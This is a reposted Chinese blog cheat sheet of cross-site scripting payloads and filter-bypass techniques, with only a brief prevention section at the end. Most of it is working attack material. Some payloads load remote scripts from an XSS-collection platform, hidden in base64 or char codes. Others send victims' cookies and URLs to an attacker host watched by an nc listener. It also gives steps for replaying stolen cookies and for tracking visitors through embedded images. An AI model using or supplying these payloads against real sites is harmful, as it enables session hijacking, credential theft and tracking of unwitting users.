XSS一些总结

Posted R0ser1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS一些总结相关的知识,希望对你有一定的参考价值。

XSS Payload一些总结

除了script以外大多标签自动加载触发JS代码大多用的都是on事件,以下标签都可以用下面的方法去打Cookie以及url等

//常见标签
<img><input><details><svg><select><iframe>
<video><audio><textarea>  <body><Style><Media>
such as: 其他的标签自动触发百度一下就好了
<body onpageshow=alert(1)>

Media 标签是利用音视频标签来加载XSS Payload
测试了一下自动触发事件的标签
onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;

<audio onloadstart=alert(1) src="x.mp3" />
 
//反射内容
-alert(1)-  -prompt(1)- -confirm(1)-

//javascript伪协议
<iframe src=javascript:alert(\'xss\');></iframe>

//利用link远程包含js文件
PS:在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
    
//Bypass常见的过滤
1、用/代替空格
<img/src="x"/onerror=alert("xss");>
2、大小写绕过
3、双写关键字
4、字符拼接
利用eval:
<img src="x" onerror="a=`aler`;b=`t`;c=\'(`xss`);\';eval(a+b+c)">
利用top:
<img src="x" onerror=top["al"+"ert"](`xss`);>
    
5、编码绕过
------------------
Base64编码
------------------
\'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy9uR1JTIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>

<iframe src="data:text/html;base64,PHNDUmlQdC9TckM9Ly94c3M4LmNjL25HUlM+">
------------------
ASCII编码
------------------
<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,120,115,115,56,46,99,99,47,110,71,82,83,62,60,47,115,67,114,73,112,84,62))">

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
-------------------
空字节【未成功过,自测】
-------------------
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于php 5.3.8以上的版本
-------------------
Unicode编码绕过
-------------------
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval(\'\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u0078\\u0073\\u0073\\u0022\\u0029\\u003b\')">
-------------------
*过滤<script>利用拼接然后继续使用XSS平台【双写,编码自己自己尝试】
<img src=x onerror=s=createElement(\'scr\'+\'ipt\');body.appendChild(s);s.src=\'//xss8.cc/nGRS\';>

*过滤单双引号
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
    
*过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw\'=alert\\x281\\x29\';">
    
*过滤url地址
使用URL编码、十进制IP、八进制IP、hex、html标签中用//可以代替http://、使用\\\\
使用中文逗号代替英文逗号

其他的Payload
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;

Eval & 其它冗余符号
<img src="x" onerror=eval()>
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
eval(\\\'~a~le~rt~~(~~1~~)~\\\'.replace(/~/g, \\\'\\\'))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
var x = eval; x(‘alert(1)’)
(1, eval)(\'alert(1)\') 
eval.call(null, \'alert(1)\')

SVG黑魔法 IMG标签 等其他同理

nc -lvvp 1234
<svg/onload="document.location=\'http://IP:PORT/?\'+document.URL+\':\'+document.cookie">

<img src=1 onerror="document.location=\'http://IP:PORT/?\'+document.URL+\':\'+document.cookie">
获取当前域名URL:
window.location.href
document.location
document.URL

image-20210519080602555

图片探测路径

只要对方网站可以调用外部图片(或可自定义HTML)。你就可以拿到对方当前的后台、浏览器、IP地址之类的信息【有些网站做了meta referer设置,referer就抓不到了】
搜索图片XSS即可,XSS平台是有这种的。原理就是图片嵌入了前端的一些代码。

例如:<img src="http://IP/test.php"/>
然后再PHP里面写入获取HTTP_REFERER\',\'REMOTE_ADDR\',\'HTTP_USER_AGENT
即可达到目的

console设置Cookie

var cookiestr="你的打到的cookie内容";var arr = cookiestr.split(";");
for(var i in arr){document.cookie=arr[i];}

前端钓鱼

https://www.cnblogs.com/-qing-/p/10871625.html

apache httponly bypass

利用apache server head limit 8192字节限制, 从400状态页爆出httponly保护的cookie

预防XSS

CSP策略:https://www.zhihu.com/question/21979782
PHP的函数:htmlspecialchars、htmlentities

​ htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号,所以咋只要\'onmouseover=\'alert(document.domain)这样既可绕过,根据实际情况来吧。

参考:https://xz.aliyun.com/t/4067

https://www.cnblogs.com/-qing-/p/10872564.html

以上是关于XSS一些总结的主要内容,如果未能解决你的问题,请参考以下文章

XSS:如何从 C# 中的字符串中删除 JS 片段?

通过脚本片段绕过XSS防御

XSS插入绕过一些方式总结

XSS漏洞注入及靶场演示

XSS攻击详解

关于xss攻击